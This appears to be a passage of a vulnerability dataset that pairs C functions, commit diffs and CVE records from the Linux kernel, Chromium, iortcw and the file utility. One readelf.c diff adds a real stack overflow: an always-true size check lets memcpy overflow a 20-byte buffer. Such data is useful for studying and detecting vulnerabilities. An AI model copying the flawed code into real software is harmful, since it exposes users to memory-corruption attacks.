sizeof(struct compat_xt_entry_target)) {
duprintf("checking: element %p size %u\n",
e, e->next_offset);
return -EINVAL;
}
/* For purposes of check_entry casting the compat entry is fine */
ret = check_entry((struct arpt_entry *)e);
if (ret)
return ret;
off = sizeof(struct arpt_entry) - sizeof(struct compat_arpt_entry);
entry_offset = (void *)e - (void *)base;
t = compat_arpt_get_target(e);
target = xt_request_find_target(NFPROTO_ARP, t->u.user.name,
t->u.user.revision);
if (IS_ERR(target)) {
duprintf("check_compat_entry_size_and_hooks: `%s' not found\n",
t->u.user.name);
ret = PTR_ERR(target);
goto out;
}
t->u.kernel.target = target;
off += xt_compat_target_offset(target);
*size += off;
ret = xt_compat_add_offset(NFPROTO_ARP, entry_offset, off);
if (ret)
goto release_target;
/* Check hooks & underflows */
for (h = 0; h < NF_ARP_NUMHOOKS; h++) {
if ((unsigned char *)e - base == hook_entries[h])
newinfo->hook_entry[h] = hook_entries[h];
if ((unsigned char *)e - base == underflows[h])
newinfo->underflow[h] = underflows[h];
}
/* Clear counters and comefrom */
memset(&e->counters, 0, sizeof(e->counters));
e->comefrom = 0;
return 0;
release_target:
module_put(t->u.kernel.target->me);
out:
return ret;
}
|
check_compat_entry_size_and_hooks(struct compat_arpt_entry *e,
struct xt_table_info *newinfo,
unsigned int *size,
const unsigned char *base,
const unsigned char *limit,
const unsigned int *hook_entries,
const unsigned int *underflows,
const char *name)
{
struct xt_entry_target *t;
struct xt_target *target;
unsigned int entry_offset;
int ret, off, h;
duprintf("check_compat_entry_size_and_hooks %p\n", e);
if ((unsigned long)e % __alignof__(struct compat_arpt_entry) != 0 ||
(unsigned char *)e + sizeof(struct compat_arpt_entry) >= limit ||
(unsigned char *)e + e->next_offset > limit) {
duprintf("Bad offset %p, limit = %p\n", e, limit);
return -EINVAL;
}
if (e->next_offset < sizeof(struct compat_arpt_entry) +
sizeof(struct compat_xt_entry_target)) {
duprintf("checking: element %p size %u\n",
e, e->next_offset);
return -EINVAL;
}
/* For purposes of check_entry casting the compat entry is fine */
ret = check_entry((struct arpt_entry *)e);
if (ret)
return ret;
off = sizeof(struct arpt_entry) - sizeof(struct compat_arpt_entry);
entry_offset = (void *)e - (void *)base;
t = compat_arpt_get_target(e);
target = xt_request_find_target(NFPROTO_ARP, t->u.user.name,
t->u.user.revision);
if (IS_ERR(target)) {
duprintf("check_compat_entry_size_and_hooks: `%s' not found\n",
t->u.user.name);
ret = PTR_ERR(target);
goto out;
}
t->u.kernel.target = target;
off += xt_compat_target_offset(target);
*size += off;
ret = xt_compat_add_offset(NFPROTO_ARP, entry_offset, off);
if (ret)
goto release_target;
/* Check hooks & underflows */
for (h = 0; h < NF_ARP_NUMHOOKS; h++) {
if ((unsigned char *)e - base == hook_entries[h])
newinfo->hook_entry[h] = hook_entries[h];
if ((unsigned char *)e - base == underflows[h])
newinfo->underflow[h] = underflows[h];
}
/* Clear counters and comefrom */
memset(&e->counters, 0, sizeof(e->counters));
e->comefrom = 0;
return 0;
release_target:
module_put(t->u.kernel.target->me);
out:
return ret;
}
|
C
| null | null | null |
@@ -359,11 +359,12 @@ unsigned int arpt_do_table(struct sk_buff *skb,
}
/* All zeroes == unconditional rule. */
-static inline bool unconditional(const struct arpt_arp *arp)
+static inline bool unconditional(const struct arpt_entry *e)
{
static const struct arpt_arp uncond;
- return memcmp(arp, &uncond, sizeof(uncond)) == 0;
+ return e->target_offset == sizeof(struct arpt_entry) &&
+ memcmp(&e->arp, &uncond, sizeof(uncond)) == 0;
}
/* Figures out from what hook each rule can be called: returns 0 if
@@ -402,11 +403,10 @@ static int mark_source_chains(const struct xt_table_info *newinfo,
|= ((1 << hook) | (1 << NF_ARP_NUMHOOKS));
/* Unconditional return/END. */
- if ((e->target_offset == sizeof(struct arpt_entry) &&
+ if ((unconditional(e) &&
(strcmp(t->target.u.user.name,
XT_STANDARD_TARGET) == 0) &&
- t->verdict < 0 && unconditional(&e->arp)) ||
- visited) {
+ t->verdict < 0) || visited) {
unsigned int oldpos, size;
if ((strcmp(t->target.u.user.name,
@@ -551,7 +551,7 @@ static bool check_underflow(const struct arpt_entry *e)
const struct xt_entry_target *t;
unsigned int verdict;
- if (!unconditional(&e->arp))
+ if (!unconditional(e))
return false;
t = arpt_get_target_c(e);
if (strcmp(t->u.user.name, XT_STANDARD_TARGET) != 0)
@@ -598,9 +598,9 @@ static inline int check_entry_size_and_hooks(struct arpt_entry *e,
newinfo->hook_entry[h] = hook_entries[h];
if ((unsigned char *)e - base == underflows[h]) {
if (!check_underflow(e)) {
- pr_err("Underflows must be unconditional and "
- "use the STANDARD target with "
- "ACCEPT/DROP\n");
+ pr_debug("Underflows must be unconditional and "
+ "use the STANDARD target with "
+ "ACCEPT/DROP\n");
return -EINVAL;
}
newinfo->underflow[h] = underflows[h];
|
linux
|
54d83fc74aa9ec72794373cb47432c5f7fb1a309
|
6e94e0cfb0887e4013b3b930fa6ab1fe6bb6ba91
| 0
|
check_compat_entry_size_and_hooks(struct compat_arpt_entry *e,
struct xt_table_info *newinfo,
unsigned int *size,
const unsigned char *base,
const unsigned char *limit,
const unsigned int *hook_entries,
const unsigned int *underflows,
const char *name)
{
struct xt_entry_target *t;
struct xt_target *target;
unsigned int entry_offset;
int ret, off, h;
duprintf("check_compat_entry_size_and_hooks %p\n", e);
if ((unsigned long)e % __alignof__(struct compat_arpt_entry) != 0 ||
(unsigned char *)e + sizeof(struct compat_arpt_entry) >= limit ||
(unsigned char *)e + e->next_offset > limit) {
duprintf("Bad offset %p, limit = %p\n", e, limit);
return -EINVAL;
}
if (e->next_offset < sizeof(struct compat_arpt_entry) +
sizeof(struct compat_xt_entry_target)) {
duprintf("checking: element %p size %u\n",
e, e->next_offset);
return -EINVAL;
}
/* For purposes of check_entry casting the compat entry is fine */
ret = check_entry((struct arpt_entry *)e);
if (ret)
return ret;
off = sizeof(struct arpt_entry) - sizeof(struct compat_arpt_entry);
entry_offset = (void *)e - (void *)base;
t = compat_arpt_get_target(e);
target = xt_request_find_target(NFPROTO_ARP, t->u.user.name,
t->u.user.revision);
if (IS_ERR(target)) {
duprintf("check_compat_entry_size_and_hooks: `%s' not found\n",
t->u.user.name);
ret = PTR_ERR(target);
goto out;
}
t->u.kernel.target = target;
off += xt_compat_target_offset(target);
*size += off;
ret = xt_compat_add_offset(NFPROTO_ARP, entry_offset, off);
if (ret)
goto release_target;
/* Check hooks & underflows */
for (h = 0; h < NF_ARP_NUMHOOKS; h++) {
if ((unsigned char *)e - base == hook_entries[h])
newinfo->hook_entry[h] = hook_entries[h];
if ((unsigned char *)e - base == underflows[h])
newinfo->underflow[h] = underflows[h];
}
/* Clear counters and comefrom */
memset(&e->counters, 0, sizeof(e->counters));
e->comefrom = 0;
return 0;
release_target:
module_put(t->u.kernel.target->me);
out:
return ret;
}
|
153,131
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-5216
|
https://www.cvedetails.com/cve/CVE-2016-5216/
|
CWE-416
|
Medium
|
Partial
|
Partial
| null |
2017-01-19
| 6.8
|
A use after free in PDFium in Google Chrome prior to 55.0.2883.75 for Mac, Windows and Linux, and 55.0.2883.84 for Android allowed a remote attacker to perform an out of bounds memory read via a crafted PDF file.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/bf6a6765d44b09c64b8c75d749efb84742a250e7
|
bf6a6765d44b09c64b8c75d749efb84742a250e7
|
[pdf] Defer page unloading in JS callback.
One of the callbacks from PDFium JavaScript into the embedder is to get the
current page number. In Chromium, this will trigger a call to
CalculateMostVisiblePage that method will determine the visible pages and unload
any non-visible pages. But, if the originating JS is on a non-visible page
we'll delete the page and annotations associated with that page. This will
cause issues as we are currently working with those objects when the JavaScript
returns.
This Cl defers the page unloading triggered by getting the most visible page
until the next event is handled by the Chromium embedder.
BUG=chromium:653090
Review-Url: https://codereview.chromium.org/2418533002
Cr-Commit-Position: refs/heads/master@{#424781}
| 0
|
pdf/pdfium/pdfium_engine.cc
|
{"sha": "878ee20a7c325e6ac076a520d5db86af9c4b9ba4", "filename": "pdf/pdfium/pdfium_engine.cc", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/bf6a6765d44b09c64b8c75d749efb84742a250e7/pdf/pdfium/pdfium_engine.cc", "raw_url": "https://github.com/chromium/chromium/raw/bf6a6765d44b09c64b8c75d749efb84742a250e7/pdf/pdfium/pdfium_engine.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/pdf/pdfium/pdfium_engine.cc?ref=bf6a6765d44b09c64b8c75d749efb84742a250e7", "patch": "@@ -2287,7 +2287,13 @@ int PDFiumEngine::GetMostVisiblePage() {\n if (in_flight_visible_page_)\n return *in_flight_visible_page_;\n \n+ // We can call GetMostVisiblePage through a callback from PDFium. We have\n+ // to defer the page deletion otherwise we could potentially delete the page\n+ // that originated the calling JS request and destroy the objects that are\n+ // currently being used.\n+ defer_page_unload_ = true;\n CalculateVisiblePages();\n+ defer_page_unload_ = false;\n return most_visible_page_;\n }\n "}
|
void Unsupported_Handler(UNSUPPORT_INFO*, int type) {
if (!g_engine_for_unsupported) {
NOTREACHED();
return;
}
g_engine_for_unsupported->UnsupportedFeature(type);
}
|
void Unsupported_Handler(UNSUPPORT_INFO*, int type) {
if (!g_engine_for_unsupported) {
NOTREACHED();
return;
}
g_engine_for_unsupported->UnsupportedFeature(type);
}
|
C
| null | null | null |
@@ -2287,7 +2287,13 @@ int PDFiumEngine::GetMostVisiblePage() {
if (in_flight_visible_page_)
return *in_flight_visible_page_;
+ // We can call GetMostVisiblePage through a callback from PDFium. We have
+ // to defer the page deletion otherwise we could potentially delete the page
+ // that originated the calling JS request and destroy the objects that are
+ // currently being used.
+ defer_page_unload_ = true;
CalculateVisiblePages();
+ defer_page_unload_ = false;
return most_visible_page_;
}
|
Chrome
|
bf6a6765d44b09c64b8c75d749efb84742a250e7
|
d62b0ef3d51e6c96e3bb960c1a4fa395082dccf9
| 0
|
void Unsupported_Handler(UNSUPPORT_INFO*, int type) {
if (!g_engine_for_unsupported) {
NOTREACHED();
return;
}
g_engine_for_unsupported->UnsupportedFeature(type);
}
|
95,582
| null |
Remote
|
Not required
|
Complete
|
CVE-2017-6903
|
https://www.cvedetails.com/cve/CVE-2017-6903/
|
CWE-269
|
Medium
|
Complete
|
Complete
| null |
2017-03-14
| 9.3
|
In ioquake3 before 2017-03-14, the auto-downloading feature has insufficient content restrictions. This also affects Quake III Arena, OpenArena, OpenJK, iortcw, and other id Tech 3 (aka Quake 3 engine) forks. A malicious auto-downloaded file can trigger loading of crafted auto-downloaded files as native code DLLs. A malicious auto-downloaded file can contain configuration defaults that override the user's. Executable bytecode in a malicious auto-downloaded file can set configuration variables to values that will result in unwanted native code DLLs being loaded, resulting in sandbox escape.
|
2019-10-02
| null | 0
|
https://github.com/iortcw/iortcw/commit/11a83410153756ae350a82ed41b08d128ff7f998
|
11a83410153756ae350a82ed41b08d128ff7f998
|
All: Merge some file writing extension checks
| 0
|
MP/code/client/cl_console.c
|
{"sha": "dad42d9e4db1631e1415473a2d5cb7f24678232d", "filename": "MP/code/client/cl_console.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/iortcw/iortcw/blob/11a83410153756ae350a82ed41b08d128ff7f998/MP/code/client/cl_console.c", "raw_url": "https://github.com/iortcw/iortcw/raw/11a83410153756ae350a82ed41b08d128ff7f998/MP/code/client/cl_console.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/MP/code/client/cl_console.c?ref=11a83410153756ae350a82ed41b08d128ff7f998", "patch": "@@ -227,6 +227,12 @@ void Con_Dump_f( void ) {\n \tQ_strncpyz( filename, Cmd_Argv( 1 ), sizeof( filename ) );\n \tCOM_DefaultExtension( filename, sizeof( filename ), \".txt\" );\n \n+\tif (!COM_CompareExtension(filename, \".txt\"))\n+\t{\n+\t\tCom_Printf(\"Con_Dump_f: Only the \\\".txt\\\" extension is supported by this command!\\n\");\n+\t\treturn;\n+\t}\n+\n \tf = FS_FOpenFileWrite( filename );\n \tif ( !f ) {\n \t\tCom_Printf (\"ERROR: couldn't open %s.\\n\", filename);"}<_**next**_>{"sha": "13b36fd3f1e57c817c88f2927ba5f7cf3d3b1fdd", "filename": "MP/code/qcommon/common.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/iortcw/iortcw/blob/11a83410153756ae350a82ed41b08d128ff7f998/MP/code/qcommon/common.c", "raw_url": "https://github.com/iortcw/iortcw/raw/11a83410153756ae350a82ed41b08d128ff7f998/MP/code/qcommon/common.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/MP/code/qcommon/common.c?ref=11a83410153756ae350a82ed41b08d128ff7f998", "patch": "@@ -3058,6 +3058,12 @@ void Com_WriteConfig_f( void ) {\n \t\treturn;\n \t}\n \n+\tif (!COM_CompareExtension(filename, \".cfg\"))\n+\t{\n+\t\tCom_Printf(\"Com_WriteConfig_f: Only the \\\".cfg\\\" extension is supported by this command!\\n\");\n+\t\treturn;\n+\t}\n+\n \tQ_strncpyz( filename, Cmd_Argv( 1 ), sizeof( filename ) );\n \tCOM_DefaultExtension( filename, sizeof( filename ), \".cfg\" );\n \tCom_Printf( \"Writing %s.\\n\", filename );"}<_**next**_>{"sha": "e7797eae7a1634ec8f45ac597a9239c19492aed4", "filename": "SP/code/client/cl_console.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/iortcw/iortcw/blob/11a83410153756ae350a82ed41b08d128ff7f998/SP/code/client/cl_console.c", "raw_url": "https://github.com/iortcw/iortcw/raw/11a83410153756ae350a82ed41b08d128ff7f998/SP/code/client/cl_console.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/SP/code/client/cl_console.c?ref=11a83410153756ae350a82ed41b08d128ff7f998", "patch": "@@ -219,6 +219,12 @@ void Con_Dump_f( void ) {\n \tQ_strncpyz( filename, Cmd_Argv( 1 ), sizeof( filename ) );\n \tCOM_DefaultExtension( filename, sizeof( filename ), \".txt\" );\n \n+\tif (!COM_CompareExtension(filename, \".txt\"))\n+\t{\n+\t\tCom_Printf(\"Con_Dump_f: Only the \\\".txt\\\" extension is supported by this command!\\n\");\n+\t\treturn;\n+\t}\n+\n \tf = FS_FOpenFileWrite( filename );\n \tif ( !f ) {\n \t\tCom_Printf (\"ERROR: couldn't open %s.\\n\", filename);"}<_**next**_>{"sha": "402941f346ce7c2253e8cf4ec6a6a7b8e2c4d5e8", "filename": "SP/code/qcommon/common.c", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/iortcw/iortcw/blob/11a83410153756ae350a82ed41b08d128ff7f998/SP/code/qcommon/common.c", "raw_url": "https://github.com/iortcw/iortcw/raw/11a83410153756ae350a82ed41b08d128ff7f998/SP/code/qcommon/common.c", "contents_url": "https://api.github.com/repos/iortcw/iortcw/contents/SP/code/qcommon/common.c?ref=11a83410153756ae350a82ed41b08d128ff7f998", "patch": "@@ -2601,6 +2601,12 @@ void Com_WriteConfig_f( void ) {\n \t\treturn;\n \t}\n \n+\tif (!COM_CompareExtension(filename, \".cfg\"))\n+\t{\n+\t\tCom_Printf(\"Com_WriteConfig_f: Only the \\\".cfg\\\" extension is supported by this command!\\n\");\n+\t\treturn;\n+\t}\n+\n \tQ_strncpyz( filename, Cmd_Argv( 1 ), sizeof( filename ) );\n \tCOM_DefaultExtension( filename, sizeof( filename ), \".cfg\" );\n \tCom_Printf( \"Writing %s.\\n\", filename );"}
|
void Con_RunConsole( void ) {
if ( Key_GetCatcher( ) & KEYCATCH_CONSOLE ) {
con.finalFrac = 0.5; // half screen
} else {
con.finalFrac = 0; // none visible
}
if ( con.finalFrac < con.displayFrac ) {
con.displayFrac -= con_conspeed->value * cls.realFrametime * 0.001;
if ( con.finalFrac > con.displayFrac ) {
con.displayFrac = con.finalFrac;
}
} else if ( con.finalFrac > con.displayFrac ) {
con.displayFrac += con_conspeed->value * cls.realFrametime * 0.001;
if ( con.finalFrac < con.displayFrac ) {
con.displayFrac = con.finalFrac;
}
}
}
|
void Con_RunConsole( void ) {
if ( Key_GetCatcher( ) & KEYCATCH_CONSOLE ) {
con.finalFrac = 0.5; // half screen
} else {
con.finalFrac = 0; // none visible
}
if ( con.finalFrac < con.displayFrac ) {
con.displayFrac -= con_conspeed->value * cls.realFrametime * 0.001;
if ( con.finalFrac > con.displayFrac ) {
con.displayFrac = con.finalFrac;
}
} else if ( con.finalFrac > con.displayFrac ) {
con.displayFrac += con_conspeed->value * cls.realFrametime * 0.001;
if ( con.finalFrac < con.displayFrac ) {
con.displayFrac = con.finalFrac;
}
}
}
|
C
| null | null | null |
@@ -227,6 +227,12 @@ void Con_Dump_f( void ) {
Q_strncpyz( filename, Cmd_Argv( 1 ), sizeof( filename ) );
COM_DefaultExtension( filename, sizeof( filename ), ".txt" );
+ if (!COM_CompareExtension(filename, ".txt"))
+ {
+ Com_Printf("Con_Dump_f: Only the \".txt\" extension is supported by this command!\n");
+ return;
+ }
+
f = FS_FOpenFileWrite( filename );
if ( !f ) {
Com_Printf ("ERROR: couldn't open %s.\n", filename);
|
OpenJK
|
11a83410153756ae350a82ed41b08d128ff7f998
|
b248763e4878ef12d5835ece6600be8334f67da1
| 0
|
void Con_RunConsole( void ) {
// decide on the destination height of the console
if ( Key_GetCatcher( ) & KEYCATCH_CONSOLE ) {
con.finalFrac = 0.5; // half screen
} else {
con.finalFrac = 0; // none visible
}
// scroll towards the destination height
if ( con.finalFrac < con.displayFrac ) {
con.displayFrac -= con_conspeed->value * cls.realFrametime * 0.001;
if ( con.finalFrac > con.displayFrac ) {
con.displayFrac = con.finalFrac;
}
} else if ( con.finalFrac > con.displayFrac ) {
con.displayFrac += con_conspeed->value * cls.realFrametime * 0.001;
if ( con.finalFrac < con.displayFrac ) {
con.displayFrac = con.finalFrac;
}
}
}
|
95,073
| null |
Local
|
Not required
| null |
CVE-2017-1000249
|
https://www.cvedetails.com/cve/CVE-2017-1000249/
|
CWE-119
|
Low
| null |
Partial
| null |
2017-09-11
| 2.1
|
An issue in file() was introduced in commit 9611f31313a93aa036389c5f3b15eea53510d4d1 (Oct 2016) lets an attacker overwrite a fixed 20 bytes stack buffer with a specially crafted .notes section in an ELF binary. This was fixed in commit 35c94dc6acc418f1ad7f6241a6680e5327495793 (Aug 2017).
|
2017-11-07
|
Overflow
| 0
|
https://github.com/file/file/commit/9611f31313a93aa036389c5f3b15eea53510d4d
|
9611f31313a93aa036389c5f3b15eea53510d4d
|
Extend build-id reporting to 8-byte IDs that lld can generate (Ed Maste)
| 0
|
src/readelf.c
|
{"sha": "c76a0accf8525280c7d7cf2006c0b5699a5cad23", "filename": "src/readelf.c", "status": "modified", "additions": 18, "deletions": 4, "changes": 22, "blob_url": "https://github.com/file/file/blob/9611f31313a93aa036389c5f3b15eea53510d4d1/src/readelf.c", "raw_url": "https://github.com/file/file/raw/9611f31313a93aa036389c5f3b15eea53510d4d1/src/readelf.c", "contents_url": "https://api.github.com/repos/file/file/contents/src/readelf.c?ref=9611f31313a93aa036389c5f3b15eea53510d4d1", "patch": "@@ -27,7 +27,7 @@\n #include \"file.h\"\n \n #ifndef lint\n-FILE_RCSID(\"@(#)$File: readelf.c,v 1.126 2015/11/16 16:03:45 christos Exp $\")\n+FILE_RCSID(\"@(#)$File: readelf.c,v 1.127 2015/11/18 12:29:29 christos Exp $\")\n #endif\n \n #ifdef BUILTIN_ELF\n@@ -509,12 +509,26 @@ do_bid_note(struct magic_set *ms, unsigned char *nbuf, uint32_t type,\n size_t noff, size_t doff, int *flags)\n {\n \tif (namesz == 4 && strcmp((char *)&nbuf[noff], \"GNU\") == 0 &&\n-\t type == NT_GNU_BUILD_ID && (descsz == 16 || descsz == 20)) {\n+\t type == NT_GNU_BUILD_ID && (descsz >= 4 || descsz <= 20)) {\n \t\tuint8_t desc[20];\n+\t\tconst char *btype;\n \t\tuint32_t i;\n \t\t*flags |= FLAGS_DID_BUILD_ID;\n-\t\tif (file_printf(ms, \", BuildID[%s]=\", descsz == 16 ? \"md5/uuid\" :\n-\t\t \"sha1\") == -1)\n+\t\tswitch (descsz) {\n+\t\tcase 8:\n+\t\t btype = \"xxHash\";\n+\t\t break;\n+\t\tcase 16:\n+\t\t btype = \"md5/uuid\";\n+\t\t break;\n+\t\tcase 20:\n+\t\t btype = \"sha1\";\n+\t\t break;\n+\t\tdefault:\n+\t\t btype = \"unknown\";\n+\t\t break;\n+\t\t}\n+\t\tif (file_printf(ms, \", BuildID[%s]=\", btype) == -1)\n \t\t\treturn 1;\n \t\t(void)memcpy(desc, &nbuf[doff], descsz);\n \t\tfor (i = 0; i < descsz; i++)"}
|
dophn_exec(struct magic_set *ms, int clazz, int swap, int fd, off_t off,
int num, size_t size, off_t fsize, int sh_num, int *flags,
uint16_t *notecount)
{
Elf32_Phdr ph32;
Elf64_Phdr ph64;
const char *linking_style = "statically";
const char *interp = "";
unsigned char nbuf[BUFSIZ];
char ibuf[BUFSIZ];
ssize_t bufsize;
size_t offset, align, len;
if (size != xph_sizeof) {
if (file_printf(ms, ", corrupted program header size") == -1)
return -1;
return 0;
}
for ( ; num; num--) {
if (pread(fd, xph_addr, xph_sizeof, off) < (ssize_t)xph_sizeof) {
file_badread(ms);
return -1;
}
off += size;
bufsize = 0;
align = 4;
/* Things we can determine before we seek */
switch (xph_type) {
case PT_DYNAMIC:
linking_style = "dynamically";
break;
case PT_NOTE:
if (sh_num) /* Did this through section headers */
continue;
if (((align = xph_align) & 0x80000000UL) != 0 ||
align < 4) {
if (file_printf(ms,
", invalid note alignment 0x%lx",
(unsigned long)align) == -1)
return -1;
align = 4;
}
/*FALLTHROUGH*/
case PT_INTERP:
len = xph_filesz < sizeof(nbuf) ? xph_filesz
: sizeof(nbuf);
bufsize = pread(fd, nbuf, len, xph_offset);
if (bufsize == -1) {
file_badread(ms);
return -1;
}
break;
default:
if (fsize != SIZE_UNKNOWN && xph_offset > fsize) {
/* Maybe warn here? */
continue;
}
break;
}
/* Things we can determine when we seek */
switch (xph_type) {
case PT_INTERP:
if (bufsize && nbuf[0]) {
nbuf[bufsize - 1] = '\0';
interp = (const char *)nbuf;
} else
interp = "*empty*";
break;
case PT_NOTE:
/*
* This is a PT_NOTE section; loop through all the notes
* in the section.
*/
offset = 0;
for (;;) {
if (offset >= (size_t)bufsize)
break;
offset = donote(ms, nbuf, offset,
(size_t)bufsize, clazz, swap, align,
flags, notecount, fd, 0, 0, 0);
if (offset == 0)
break;
}
break;
default:
break;
}
}
if (file_printf(ms, ", %s linked", linking_style)
== -1)
return -1;
if (interp[0])
if (file_printf(ms, ", interpreter %s",
file_printable(ibuf, sizeof(ibuf), interp)) == -1)
return -1;
return 0;
}
|
dophn_exec(struct magic_set *ms, int clazz, int swap, int fd, off_t off,
int num, size_t size, off_t fsize, int sh_num, int *flags,
uint16_t *notecount)
{
Elf32_Phdr ph32;
Elf64_Phdr ph64;
const char *linking_style = "statically";
const char *interp = "";
unsigned char nbuf[BUFSIZ];
char ibuf[BUFSIZ];
ssize_t bufsize;
size_t offset, align, len;
if (size != xph_sizeof) {
if (file_printf(ms, ", corrupted program header size") == -1)
return -1;
return 0;
}
for ( ; num; num--) {
if (pread(fd, xph_addr, xph_sizeof, off) < (ssize_t)xph_sizeof) {
file_badread(ms);
return -1;
}
off += size;
bufsize = 0;
align = 4;
/* Things we can determine before we seek */
switch (xph_type) {
case PT_DYNAMIC:
linking_style = "dynamically";
break;
case PT_NOTE:
if (sh_num) /* Did this through section headers */
continue;
if (((align = xph_align) & 0x80000000UL) != 0 ||
align < 4) {
if (file_printf(ms,
", invalid note alignment 0x%lx",
(unsigned long)align) == -1)
return -1;
align = 4;
}
/*FALLTHROUGH*/
case PT_INTERP:
len = xph_filesz < sizeof(nbuf) ? xph_filesz
: sizeof(nbuf);
bufsize = pread(fd, nbuf, len, xph_offset);
if (bufsize == -1) {
file_badread(ms);
return -1;
}
break;
default:
if (fsize != SIZE_UNKNOWN && xph_offset > fsize) {
/* Maybe warn here? */
continue;
}
break;
}
/* Things we can determine when we seek */
switch (xph_type) {
case PT_INTERP:
if (bufsize && nbuf[0]) {
nbuf[bufsize - 1] = '\0';
interp = (const char *)nbuf;
} else
interp = "*empty*";
break;
case PT_NOTE:
/*
* This is a PT_NOTE section; loop through all the notes
* in the section.
*/
offset = 0;
for (;;) {
if (offset >= (size_t)bufsize)
break;
offset = donote(ms, nbuf, offset,
(size_t)bufsize, clazz, swap, align,
flags, notecount, fd, 0, 0, 0);
if (offset == 0)
break;
}
break;
default:
break;
}
}
if (file_printf(ms, ", %s linked", linking_style)
== -1)
return -1;
if (interp[0])
if (file_printf(ms, ", interpreter %s",
file_printable(ibuf, sizeof(ibuf), interp)) == -1)
return -1;
return 0;
}
|
C
| null | null | null |
@@ -27,7 +27,7 @@
#include "file.h"
#ifndef lint
-FILE_RCSID("@(#)$File: readelf.c,v 1.126 2015/11/16 16:03:45 christos Exp $")
+FILE_RCSID("@(#)$File: readelf.c,v 1.127 2015/11/18 12:29:29 christos Exp $")
#endif
#ifdef BUILTIN_ELF
@@ -509,12 +509,26 @@ do_bid_note(struct magic_set *ms, unsigned char *nbuf, uint32_t type,
size_t noff, size_t doff, int *flags)
{
if (namesz == 4 && strcmp((char *)&nbuf[noff], "GNU") == 0 &&
- type == NT_GNU_BUILD_ID && (descsz == 16 || descsz == 20)) {
+ type == NT_GNU_BUILD_ID && (descsz >= 4 || descsz <= 20)) {
uint8_t desc[20];
+ const char *btype;
uint32_t i;
*flags |= FLAGS_DID_BUILD_ID;
- if (file_printf(ms, ", BuildID[%s]=", descsz == 16 ? "md5/uuid" :
- "sha1") == -1)
+ switch (descsz) {
+ case 8:
+ btype = "xxHash";
+ break;
+ case 16:
+ btype = "md5/uuid";
+ break;
+ case 20:
+ btype = "sha1";
+ break;
+ default:
+ btype = "unknown";
+ break;
+ }
+ if (file_printf(ms, ", BuildID[%s]=", btype) == -1)
return 1;
(void)memcpy(desc, &nbuf[doff], descsz);
for (i = 0; i < descsz; i++)
|
file
|
9611f31313a93aa036389c5f3b15eea53510d4d
|
5b8826616cb699b69f7a1cc7b5c0cbac4b5bed9b
| 0
|
dophn_exec(struct magic_set *ms, int clazz, int swap, int fd, off_t off,
int num, size_t size, off_t fsize, int sh_num, int *flags,
uint16_t *notecount)
{
Elf32_Phdr ph32;
Elf64_Phdr ph64;
const char *linking_style = "statically";
const char *interp = "";
unsigned char nbuf[BUFSIZ];
char ibuf[BUFSIZ];
ssize_t bufsize;
size_t offset, align, len;
if (size != xph_sizeof) {
if (file_printf(ms, ", corrupted program header size") == -1)
return -1;
return 0;
}
for ( ; num; num--) {
if (pread(fd, xph_addr, xph_sizeof, off) < (ssize_t)xph_sizeof) {
file_badread(ms);
return -1;
}
off += size;
bufsize = 0;
align = 4;
/* Things we can determine before we seek */
switch (xph_type) {
case PT_DYNAMIC:
linking_style = "dynamically";
break;
case PT_NOTE:
if (sh_num) /* Did this through section headers */
continue;
if (((align = xph_align) & 0x80000000UL) != 0 ||
align < 4) {
if (file_printf(ms,
", invalid note alignment 0x%lx",
(unsigned long)align) == -1)
return -1;
align = 4;
}
/*FALLTHROUGH*/
case PT_INTERP:
len = xph_filesz < sizeof(nbuf) ? xph_filesz
: sizeof(nbuf);
bufsize = pread(fd, nbuf, len, xph_offset);
if (bufsize == -1) {
file_badread(ms);
return -1;
}
break;
default:
if (fsize != SIZE_UNKNOWN && xph_offset > fsize) {
/* Maybe warn here? */
continue;
}
break;
}
/* Things we can determine when we seek */
switch (xph_type) {
case PT_INTERP:
if (bufsize && nbuf[0]) {
nbuf[bufsize - 1] = '\0';
interp = (const char *)nbuf;
} else
interp = "*empty*";
break;
case PT_NOTE:
/*
* This is a PT_NOTE section; loop through all the notes
* in the section.
*/
offset = 0;
for (;;) {
if (offset >= (size_t)bufsize)
break;
offset = donote(ms, nbuf, offset,
(size_t)bufsize, clazz, swap, align,
flags, notecount, fd, 0, 0, 0);
if (offset == 0)
break;
}
break;
default:
break;
}
}
if (file_printf(ms, ", %s linked", linking_style)
== -1)
return -1;
if (interp[0])
if (file_printf(ms, ", interpreter %s",
file_printable(ibuf, sizeof(ibuf), interp)) == -1)
return -1;
return 0;
}
|
142,686
| null | null | null | null | null | null | null | null | null | null | null | null | null | null |
2016-07
| null | 0
|
https://github.com/chromium/chromium/commit/be655fd4fb9ab3291a855a939496111674037a2f
|
be655fd4fb9ab3291a855a939496111674037a2f
|
Always use FrameNavigationDisabler during DocumentLoader detach.
BUG=617495
Review-Url: https://codereview.chromium.org/2079473002
Cr-Commit-Position: refs/heads/master@{#400558}
| 0
|
third_party/WebKit/Source/core/loader/FrameLoader.cpp
|
{"sha": "4f8c4d0a9cb3e3ed7f94be0bad612c82b8b0cdd3", "filename": "third_party/WebKit/Source/core/loader/FrameLoader.cpp", "status": "modified", "additions": 2, "deletions": 5, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/be655fd4fb9ab3291a855a939496111674037a2f/third_party/WebKit/Source/core/loader/FrameLoader.cpp", "raw_url": "https://github.com/chromium/chromium/raw/be655fd4fb9ab3291a855a939496111674037a2f/third_party/WebKit/Source/core/loader/FrameLoader.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/loader/FrameLoader.cpp?ref=be655fd4fb9ab3291a855a939496111674037a2f", "patch": "@@ -725,6 +725,7 @@ void FrameLoader::detachDocumentLoader(Member<DocumentLoader>& loader)\n if (!loader)\n return;\n \n+ FrameNavigationDisabler navigationDisabler(*m_frame);\n loader->detachFromFrame();\n loader = nullptr;\n }\n@@ 